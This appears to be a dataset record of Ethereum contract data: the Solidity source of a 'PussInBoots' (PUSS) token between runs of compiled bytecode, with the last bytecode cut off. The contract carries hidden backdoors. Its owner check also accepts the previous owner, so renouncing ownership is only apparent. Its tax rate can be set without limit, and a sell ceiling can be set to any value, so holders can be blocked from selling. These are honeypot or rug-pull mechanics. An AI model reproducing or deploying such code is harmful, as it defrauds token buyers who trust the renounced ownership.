12c2e90919063ffffffff16565b905061208381600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7d90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612138816000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264990919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561225257600080fd5b6122a3816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fa8160015461264990919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156124c9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255d565b6124dc838261264990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115151561265757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561269f57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156126ec57600080fd5b61273d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061291282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515612a9157fe5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612af757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612b3357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000841415612c085760009150612c27565b8284029050828482811515612c1957fe5b04141515612c2357fe5b8091505b5092915050565b60008183811515612c3b57fe5b049050929150505600a165627a7a723058208893ccfda74d1e23effd39726b5e9e77b85d74fa7bec6a7da9b1565c497c69e80029
|
{"success": true, "error": null, "results": {}}
| 6,344 |
0xf8fc614f091a64a8a960195f31e776a23712f87e
|
// SPDX-License-Identifier: GNU
// Telegram: https://t.me/PussInBootsERC
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_previousOwner=_owner;
_owner = address(0xdead);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PussInBoots is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=6;
address payable private _taxWallet;
string private constant _name = "PussInBoots";
string private constant _symbol = "PUSS";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _ceil = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0xe39539f312eED1c268CBb4FC624485f9AE186446);
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(amount <= _ceil);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_ceil = 10000000000 ;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setCeiling(uint256 ceil) external onlyOwner {
_ceil = ceil;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b146102695780638f02cf971461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612113565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121ce565b6103f6565b6040516101629190612229565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612253565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061226e565b61041e565b6040516101ca9190612229565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906122dd565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c600480360381019061023791906122f8565b610576565b6040516102499190612253565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612334565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b6919061234f565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612113565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906121ce565b610940565b60405161031c9190612229565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061234f565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c6004803603810190610387919061237c565b61101f565b6040516103999190612253565b60405180910390f35b3480156103ae57600080fd5b506103b76110a6565b005b60606040518060400160405280600b81526020017f50757373496e426f6f7473000000000000000000000000000000000000000000815250905090565b600061040a610403611118565b8484611120565b6001905092915050565b6000600554905090565b600061042b8484846112eb565b6104ec84610437611118565b6104e785604051806060016040528060288152602001612e4f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116139092919063ffffffff16565b611120565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611118565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611677565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ff565b9050919050565b6105cf611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612408565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612408565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600481526020017f5055535300000000000000000000000000000000000000000000000000000000815250905090565b600061095461094d611118565b84846112eb565b6001905092915050565b610966611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612408565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612474565b60405180910390fd5b8060088190555050565b610aa8611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612408565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb906124e0565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb39190612515565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190612515565b6040518363ffffffff1660e01b8152600401610d8c929190612542565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190612515565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e94969594939291906125b0565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee69190612626565b5050506001600b60166101000a81548160ff0219169083151502179055506402540be400600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fca929190612679565b602060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101c91906126ce565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611118565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b60004790506111158161196d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111879061276d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f7906127ff565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112de9190612253565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612891565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290612923565b60405180910390fd5b6000811161140e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611405906129b5565b60405180910390fd5b6114166107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457506114546107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115345750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154957600c5481111561154857600080fd5b5b600061155430610576565b9050600b60159054906101000a900460ff161580156115c15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d95750600b60169054906101000a900460ff165b15611601576115e781611677565b600047905060008111156115ff576115fe4761196d565b5b505b505b61160e8383836119d9565b505050565b600083831115829061165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529190612113565b60405180910390fd5b506000838561166a9190612a04565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116af576116ae612a38565b5b6040519080825280602002602001820160405280156116dd5781602001602082028036833780820191505090505b50905030816000815181106116f5576116f4612a67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179757600080fd5b505afa1580156117ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cf9190612515565b816001815181106117e3576117e2612a67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061184a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ae959493929190612b54565b600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600654821115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d90612c20565b60405180910390fd5b60006119506119e9565b90506119658184611a1490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119d5573d6000803e3d6000fd5b5050565b6119e4838383611a5e565b505050565b60008060006119f6611c29565b91509150611a0d8183611a1490919063ffffffff16565b9250505090565b6000611a5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c76565b905092915050565b600080600080600080611a7087611cd9565b955095509550955095509550611ace86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baf81611de9565b611bb98483611ea6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c169190612253565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611c51600554600654611a1490919063ffffffff16565b821015611c6957600654600554935093505050611c72565b81819350935050505b9091565b60008083118290611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb49190612113565b60405180910390fd5b5060008385611ccc9190612c6f565b9050809150509392505050565b6000806000806000806000806000611cf68a600854600854611ee0565b9250925092506000611d066119e9565b90506000806000611d198e878787611f76565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611d8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611613565b905092915050565b6000808284611d9a9190612ca0565b905083811015611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690612d42565b60405180910390fd5b8091505092915050565b6000611df36119e9565b90506000611e0a8284611fff90919063ffffffff16565b9050611e5e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ebb82600654611d4190919063ffffffff16565b600681905550611ed681600754611d8b90919063ffffffff16565b6007819055505050565b600080600080611f0c6064611efe888a611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f366064611f28888b611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f5f82611f51858c611d4190919063ffffffff16565b611d4190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f8f8589611fff90919063ffffffff16565b90506000611f